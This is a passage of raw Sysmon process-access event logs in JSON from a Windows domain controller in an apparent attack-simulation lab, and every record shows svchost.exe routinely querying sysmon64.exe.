C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 